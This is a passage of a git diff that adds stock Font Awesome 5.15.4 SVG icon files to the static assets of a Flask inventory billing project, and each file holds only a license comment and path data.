32.2-71.4 56-71.4s52.7 29.3 56 71.4c.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.3 7.4-15.8 4-15.1-4.5zm250.8 122.8C334.3 380.4 292.5 400 248 400s-86.3-19.6-114.8-53.8c-13.5-16.3 11-36.7 24.6-20.5 22.4 26.9 55.2 42.2 90.2 42.2s67.8-15.4 90.2-42.2c13.6-16.2 38.1 4.3 24.6 20.5zm6.2-118.3l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.1 7.3-15.6 4-14.9-4.5 3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.6 8.6-11 11.9-15.1 4.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/smile-wink.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/smile-wink.svg new file mode 100644 index 00000000..df8d9d94 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/smile-wink.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 256c0 137 111 248 248 248s248-111 248-248S385 8 248 8 0 119 0 256zm200-48c0 17.7-14.3 32-32 32s-32-14.3-32-32 14.3-32 32-32 32 14.3 32 32zm158.5 16.5c-14.8-13.2-46.2-13.2-61 0L288 233c-8.3 7.4-21.6.4-19.8-10.8 4-25.2 34.2-42.1 59.9-42.1S384 197 388 222.2c1.7 11.1-11.4 18.3-19.8 10.8l-9.7-8.5zM157.8 325.8C180.2 352.7 213 368 248 368s67.8-15.4 90.2-42.2c13.6-16.2 38.1 4.2 24.6 20.5C334.3 380.4 292.5 400 248 400s-86.3-19.6-114.8-53.8c-13.5-16.3 11.2-36.7 24.6-20.4z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/smile.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/smile.svg new file mode 100644 index 00000000..b905d423 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/smile.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm-160 0c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm194.8 170.2C334.3 380.4 292.5 400 248 400s-86.3-19.6-114.8-53.8c-13.6-16.3 11-36.7 24.6-20.5 22.4 26.9 55.2 42.2 90.2 42.2s67.8-15.4 90.2-42.2c13.4-16.2 38.1 4.2 24.6 20.5z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/smog.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/smog.svg new file mode 100644 index 00000000..6aafcb59 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/smog.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M624 368H80c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h544c8.8 0 16-7.2 16-16v-16c0-8.8-7.2-16-16-16zm-480 96H16c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h128c8.8 0 16-7.2 16-16v-16c0-8.8-7.2-16-16-16zm416 0H224c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h336c8.8 0 16-7.2 16-16v-16c0-8.8-7.2-16-16-16zM144 288h156.1c22.5 19.7 51.6 32 83.9 32s61.3-12.3 83.9-32H528c61.9 0 112-50.1 112-112S589.9 64 528 64c-18 0-34.7 4.6-49.7 12.1C454 31 406.8 0 352 0c-41 0-77.8 17.3-104 44.8C221.8 17.3 185 0 144 0 64.5 0 0 64.5 0 144s64.5 144 144 144z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/smoking-ban.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/smoking-ban.svg new file mode 100644 index 00000000..2711f6a0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/smoking-ban.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M96 304c0 8.8 7.2 16 16 16h117.5l-96-96H112c-8.8 0-16 7.2-16 16v64zM256 0C114.6 0 0 114.6 0 256s114.6 256 256 256 256-114.6 256-256S397.4 0 256 0zm0 448c-105.9 0-192-86.1-192-192 0-41.4 13.3-79.7 35.7-111.1l267.4 267.4C335.7 434.7 297.4 448 256 448zm45.2-192H384v32h-50.8l-32-32zm111.1 111.1L365.2 320H400c8.8 0 16-7.2 16-16v-64c0-8.8-7.2-16-16-16H269.2L144.9 99.7C176.3 77.3 214.6 64 256 64c105.9 0 192 86.1 192 192 0 41.4-13.3 79.7-35.7 111.1zM320.6 128c-15.6 0-28.6-11.2-31.4-25.9-.7-3.6-4-6.1-7.7-6.1h-16.2c-5 0-8.7 4.5-8 9.4 4.6 30.9 31.2 54.6 63.3 54.6 15.6 0 28.6 11.2 31.4 25.9.7 3.6 4 6.1 7.7 6.1h16.2c5 0 8.7-4.5 8-9.4-4.6-30.9-31.2-54.6-63.3-54.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/smoking.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/smoking.svg new file mode 100644 index 00000000..92fed6d6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/smoking.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M632 352h-48c-4.4 0-8 3.6-8 8v144c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8V360c0-4.4-3.6-8-8-8zM553.3 87.1c-5.7-3.8-9.3-10-9.3-16.8V8c0-4.4-3.6-8-8-8h-48c-4.4 0-8 3.6-8 8v62.3c0 22 10.2 43.4 28.6 55.4 42.2 27.3 67.4 73.8 67.4 124V280c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8v-30.3c0-65.5-32.4-126.2-86.7-162.6zM432 352H48c-26.5 0-48 21.5-48 48v64c0 26.5 21.5 48 48 48h384c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16zm-32 112H224v-64h176v64zm87.7-322.4C463.8 125 448 99.3 448 70.3V8c0-4.4-3.6-8-8-8h-48c-4.4 0-8 3.6-8 8v66.4c0 43.7 24.6 81.6 60.3 106.7 22.4 15.7 35.7 41.2 35.7 68.6V280c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8v-30.3c0-43.3-21-83.4-56.3-108.1zM536 352h-48c-4.4 0-8 3.6-8 8v144c0 4.4 3.6 8 8 8h48c4.4 0 8-3.6 8-8V360c0-4.4-3.6-8-8-8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sms.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sms.svg new file mode 100644 index 00000000..1a65fe30 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sms.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 32C114.6 32 0 125.1 0 240c0 49.6 21.4 95 57 130.7C44.5 421.1 2.7 466 2.2 466.5c-2.2 2.3-2.8 5.7-1.5 8.7 1.3 3 4.1 4.8 7.3 4.8 66.3 0 116-31.8 140.6-51.4 32.7 12.3 69 19.4 107.4 19.4 141.4 0 256-93.1 256-208S397.4 32 256 32zM128.2 304H116c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h12.3c6 0 10.4-3.5 10.4-6.6 0-1.3-.8-2.7-2.1-3.8l-21.9-18.8c-8.5-7.2-13.3-17.5-13.3-28.1 0-21.3 19-38.6 42.4-38.6H156c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8h-12.3c-6 0-10.4 3.5-10.4 6.6 0 1.3.8 2.7 2.1 3.8l21.9 18.8c8.5 7.2 13.3 17.5 13.3 28.1.1 21.3-19 38.6-42.4 38.6zm191.8-8c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-68.2l-24.8 55.8c-2.9 5.9-11.4 5.9-14.3 0L224 227.8V296c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V192c0-8.8 7.2-16 16-16h16c6.1 0 11.6 3.4 14.3 8.8l17.7 35.4 17.7-35.4c2.7-5.4 8.3-8.8 14.3-8.8h16c8.8 0 16 7.2 16 16v104zm48.3 8H356c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h12.3c6 0 10.4-3.5 10.4-6.6 0-1.3-.8-2.7-2.1-3.8l-21.9-18.8c-8.5-7.2-13.3-17.5-13.3-28.1 0-21.3 19-38.6 42.4-38.6H396c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8h-12.3c-6 0-10.4 3.5-10.4 6.6 0 1.3.8 2.7 2.1 3.8l21.9 18.8c8.5 7.2 13.3 17.5 13.3 28.1.1 21.3-18.9 38.6-42.3 38.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/snowboarding.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/snowboarding.svg new file mode 100644 index 00000000..fd2a8531 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/snowboarding.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M432 96c26.5 0 48-21.5 48-48S458.5 0 432 0s-48 21.5-48 48 21.5 48 48 48zm28.8 153.6c5.8 4.3 12.5 6.4 19.2 6.4 9.7 0 19.3-4.4 25.6-12.8 10.6-14.1 7.8-34.2-6.4-44.8l-111.4-83.5c-13.8-10.3-29.1-18.4-45.4-23.8l-63.7-21.2-26.1-52.1C244.7 2 225.5-4.4 209.7 3.5c-15.8 7.9-22.2 27.1-14.3 42.9l29.1 58.1c5.7 11.4 15.6 19.9 27.7 24l16.4 5.5-41.2 20.6c-21.8 10.9-35.4 32.8-35.4 57.2v53.1l-74.1 24.7c-16.8 5.6-25.8 23.7-20.2 40.5 1.7 5.2 4.9 9.4 8.7 12.9l-38.7-14.1c-9.7-3.5-17.4-10.6-21.8-20-5.6-12-19.9-17.2-31.9-11.6s-17.2 19.9-11.6 31.9c9.8 21 27.1 36.9 48.9 44.8l364.8 132.7c9.7 3.5 19.7 5.3 29.7 5.3 12.5 0 24.9-2.7 36.5-8.2 12-5.6 17.2-19.9 11.6-31.9S474 454.7 462 460.3c-9.3 4.4-19.8 4.8-29.5 1.3l-90.8-33.1c8.7-4.1 15.6-11.8 17.8-21.9l21.9-102c3.9-18.2-3.2-37.2-18.1-48.4l-52-39 66-30.5 83.5 62.9zm-144.4 51.7l-19.7 92c-1.5 7.1-.1 13.9 2.8 20l-169.4-61.6c2.7-.2 5.4-.4 8-1.3l85-28.4c19.6-6.5 32.8-24.8 32.8-45.5V256l60.5 45.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/snowflake.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/snowflake.svg new file mode 100644 index 00000000..818e4c1b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/snowflake.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M440.3 345.2l-33.8-19.5 26-7c8.2-2.2 13.1-10.7 10.9-18.9l-4-14.9c-2.2-8.2-10.7-13.1-18.9-10.9l-70.8 19-63.9-37 63.8-36.9 70.8 19c8.2 2.2 16.7-2.7 18.9-10.9l4-14.9c2.2-8.2-2.7-16.7-10.9-18.9l-26-7 33.8-19.5c7.4-4.3 9.9-13.7 5.7-21.1L430.4 119c-4.3-7.4-13.7-9.9-21.1-5.7l-33.8 19.5 7-26c2.2-8.2-2.7-16.7-10.9-18.9l-14.9-4c-8.2-2.2-16.7 2.7-18.9 10.9l-19 70.8-62.8 36.2v-77.5l53.7-53.7c6.2-6.2 6.2-16.4 0-22.6l-11.3-11.3c-6.2-6.2-16.4-6.2-22.6 0L256 56.4V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v40.4l-19.7-19.7c-6.2-6.2-16.4-6.2-22.6 0L138.3 48c-6.3 6.2-6.3 16.4 0 22.6l53.7 53.7v77.5l-62.8-36.2-19-70.8c-2.2-8.2-10.7-13.1-18.9-10.9l-14.9 4c-8.2 2.2-13.1 10.7-10.9 18.9l7 26-33.8-19.5c-7.4-4.3-16.8-1.7-21.1 5.7L2.1 145.7c-4.3 7.4-1.7 16.8 5.7 21.1l33.8 19.5-26 7c-8.3 2.2-13.2 10.7-11 19l4 14.9c2.2 8.2 10.7 13.1 18.9 10.9l70.8-19 63.8 36.9-63.8 36.9-70.8-19c-8.2-2.2-16.7 2.7-18.9 10.9l-4 14.9c-2.2 8.2 2.7 16.7 10.9 18.9l26 7-33.8 19.6c-7.4 4.3-9.9 13.7-5.7 21.1l15.5 26.8c4.3 7.4 13.7 9.9 21.1 5.7l33.8-19.5-7 26c-2.2 8.2 2.7 16.7 10.9 18.9l14.9 4c8.2 2.2 16.7-2.7 18.9-10.9l19-70.8 62.8-36.2v77.5l-53.7 53.7c-6.3 6.2-6.3 16.4 0 22.6l11.3 11.3c6.2 6.2 16.4 6.2 22.6 0l19.7-19.7V496c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-40.4l19.7 19.7c6.2 6.2 16.4 6.2 22.6 0l11.3-11.3c6.2-6.2 6.2-16.4 0-22.6L256 387.7v-77.5l62.8 36.2 19 70.8c2.2 8.2 10.7 13.1 18.9 10.9l14.9-4c8.2-2.2 13.1-10.7 10.9-18.9l-7-26 33.8 19.5c7.4 4.3 16.8 1.7 21.1-5.7l15.5-26.8c4.3-7.3 1.8-16.8-5.6-21z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/snowman.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/snowman.svg new file mode 100644 index 00000000..abc258fa --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/snowman.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M510.9 152.3l-5.9-14.5c-3.3-8-12.6-11.9-20.8-8.7L456 140.6v-29c0-8.6-7.2-15.6-16-15.6h-16c-8.8 0-16 7-16 15.6v46.9c0 .5.3 1 .3 1.5l-56.4 23c-5.9-10-13.3-18.9-22-26.6 13.6-16.6 22-37.4 22-60.5 0-53-43-96-96-96s-96 43-96 96c0 23.1 8.5 43.9 22 60.5-8.7 7.7-16 16.6-22 26.6l-56.4-23c.1-.5.3-1 .3-1.5v-46.9C104 103 96.8 96 88 96H72c-8.8 0-16 7-16 15.6v29l-28.1-11.5c-8.2-3.2-17.5.7-20.8 8.7l-5.9 14.5c-3.3 8 .7 17.1 8.9 20.3l135.2 55.2c-.4 4-1.2 8-1.2 12.2 0 10.1 1.7 19.6 4.2 28.9C120.9 296.4 104 334.2 104 376c0 54 28.4 100.9 70.8 127.8 9.3 5.9 20.3 8.2 31.3 8.2h99.2c13.3 0 26.3-4.1 37.2-11.7 46.5-32.3 74.4-89.4 62.9-152.6-5.5-30.2-20.5-57.6-41.6-79 2.5-9.2 4.2-18.7 4.2-28.7 0-4.2-.8-8.1-1.2-12.2L502 172.6c8.1-3.1 12.1-12.2 8.9-20.3zM224 96c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm32 272c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-64c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-64c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-88s-16-23.2-16-32 7.2-16 16-16 16 7.2 16 16-16 32-16 32zm32-56c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/snowplow.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/snowplow.svg new file mode 100644 index 00000000..627d268b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/snowplow.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M120 376c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm80 0c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm80 0c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm80 0c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm238.6 49.4c-14.5-14.5-22.6-34.1-22.6-54.6V269.2c0-20.5 8.1-40.1 22.6-54.6l36.7-36.7c6.2-6.2 6.2-16.4 0-22.6l-22.6-22.6c-6.2-6.2-16.4-6.2-22.6 0l-36.7 36.7c-26.5 26.5-41.4 62.4-41.4 99.9V288h-64v-50.9c0-8.7-1.8-17.2-5.2-25.2L364.5 29.1C356.9 11.4 339.6 0 320.3 0H176c-26.5 0-48 21.5-48 48v112h-16c-26.5 0-48 21.5-48 48v91.2C26.3 317.2 0 355.4 0 400c0 61.9 50.1 112 112 112h256c61.9 0 112-50.1 112-112 0-17.3-4.2-33.4-11.2-48H512v18.7c0 37.5 14.9 73.4 41.4 99.9l36.7 36.7c6.2 6.2 16.4 6.2 22.6 0l22.6-22.6c6.2-6.2 6.2-16.4 0-22.6l-36.7-36.7zM192 64h117.8l68.6 160H256l-64-64V64zm176 384H112c-26.5 0-48-21.5-48-48s21.5-48 48-48h256c26.5 0 48 21.5 48 48s-21.5 48-48 48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/soap.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/soap.svg new file mode 100644 index 00000000..3909d6c2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/soap.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M416,192a95.42,95.42,0,0,1-30.94,70.21A95.8,95.8,0,0,1,352,448H160a96,96,0,0,1,0-192h88.91A95.3,95.3,0,0,1,224,192H96A96,96,0,0,0,0,288V416a96,96,0,0,0,96,96H416a96,96,0,0,0,96-96V288A96,96,0,0,0,416,192Zm-96,64a64,64,0,1,0-64-64A64,64,0,0,0,320,256ZM208,96a48,48,0,1,0-48-48A48,48,0,0,0,208,96ZM384,64a32,32,0,1,0-32-32A32,32,0,0,0,384,64ZM160,288a64,64,0,0,0,0,128H352a64,64,0,0,0,0-128Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/socks.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/socks.svg new file mode 100644 index 00000000..9c2515f7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/socks.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M214.66 311.01L288 256V96H128v176l-86.65 64.61c-39.4 29.56-53.86 84.42-29.21 127.06C30.39 495.25 63.27 512 96.08 512c20.03 0 40.25-6.25 57.52-19.2l21.86-16.39c-29.85-55.38-13.54-125.84 39.2-165.4zM288 32c0-11.05 3.07-21.3 8.02-30.38C293.4.92 290.85 0 288 0H160c-17.67 0-32 14.33-32 32v32h160V32zM480 0H352c-17.67 0-32 14.33-32 32v32h192V32c0-17.67-14.33-32-32-32zM320 272l-86.13 64.61c-39.4 29.56-53.86 84.42-29.21 127.06 18.25 31.58 50.61 48.33 83.42 48.33 20.03 0 40.25-6.25 57.52-19.2l115.2-86.4A127.997 127.997 0 0 0 512 304V96H320v176z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/solar-panel.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/solar-panel.svg new file mode 100644 index 00000000..590ed606 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/solar-panel.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M431.98 448.01l-47.97.05V416h-128v32.21l-47.98.05c-8.82.01-15.97 7.16-15.98 15.99l-.05 31.73c-.01 8.85 7.17 16.03 16.02 16.02l223.96-.26c8.82-.01 15.97-7.16 15.98-15.98l.04-31.73c.01-8.85-7.17-16.03-16.02-16.02zM585.2 26.74C582.58 11.31 568.99 0 553.06 0H86.93C71 0 57.41 11.31 54.79 26.74-3.32 369.16.04 348.08.03 352c-.03 17.32 14.29 32 32.6 32h574.74c18.23 0 32.51-14.56 32.59-31.79.02-4.08 3.35 16.95-54.76-325.47zM259.83 64h120.33l9.77 96H250.06l9.77-96zm-75.17 256H71.09L90.1 208h105.97l-11.41 112zm16.29-160H98.24l16.29-96h96.19l-9.77 96zm32.82 160l11.4-112h149.65l11.4 112H233.77zm195.5-256h96.19l16.29 96H439.04l-9.77-96zm26.06 256l-11.4-112H549.9l19.01 112H455.33z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-alpha-down-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-alpha-down-alt.svg new file mode 100644 index 00000000..eddabca2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-alpha-down-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M176 352h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.36 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352zm112-128h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-56l61.26-70.45A32 32 0 0 0 432 65.63V48a16 16 0 0 0-16-16H288a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h56l-61.26 70.45A32 32 0 0 0 272 190.37V208a16 16 0 0 0 16 16zm159.06 234.62l-59.27-160A16 16 0 0 0 372.72 288h-41.44a16 16 0 0 0-15.07 10.62l-59.27 160A16 16 0 0 0 272 480h24.83a16 16 0 0 0 15.23-11.08l4.42-12.92h71l4.41 12.92A16 16 0 0 0 407.16 480H432a16 16 0 0 0 15.06-21.38zM335.61 400L352 352l16.39 48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-alpha-down.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-alpha-down.svg new file mode 100644 index 00000000..120f08e0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-alpha-down.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M176 352h-48V48a16 16 0 0 0-16-16H80a16 16 0 0 0-16 16v304H16c-14.19 0-21.36 17.24-11.29 27.31l80 96a16 16 0 0 0 22.62 0l80-96C197.35 369.26 190.22 352 176 352zm240-64H288a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h56l-61.26 70.45A32 32 0 0 0 272 446.37V464a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-56l61.26-70.45A32 32 0 0 0 432 321.63V304a16 16 0 0 0-16-16zm31.06-85.38l-59.27-160A16 16 0 0 0 372.72 32h-41.44a16 16 0 0 0-15.07 10.62l-59.27 160A16 16 0 0 0 272 224h24.83a16 16 0 0 0 15.23-11.08l4.42-12.92h71l4.41 12.92A16 16 0 0 0 407.16 224H432a16 16 0 0 0 15.06-21.38zM335.61 144L352 96l16.39 48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-alpha-up-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-alpha-up-alt.svg new file mode 100644 index 00000000..7d0b222e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/sort-alpha-up-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M16 160h48v304a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V160h48c14.21 0 21.38-17.24 11.31-27.31l-80-96a16 16 0 0 0-22.62 0l-80 96C-5.35 142.74 1.78 160 16 160zm272 64h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-56l61.26-70.45A32 32 0 0 0 432 65.63V48a16 16 0 0 0-16-16H288a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h56l-61.26 70.45A32 32 0 0 0 272 190.37V208a16 16 0 0 0 16 16zm159.06 234.62l-59.27-160A16 16 0 0 0 372.72 288h-41.44a16 16 0 0 0-15.07 10.62l-59.27 160A16 16 0 0 0 272 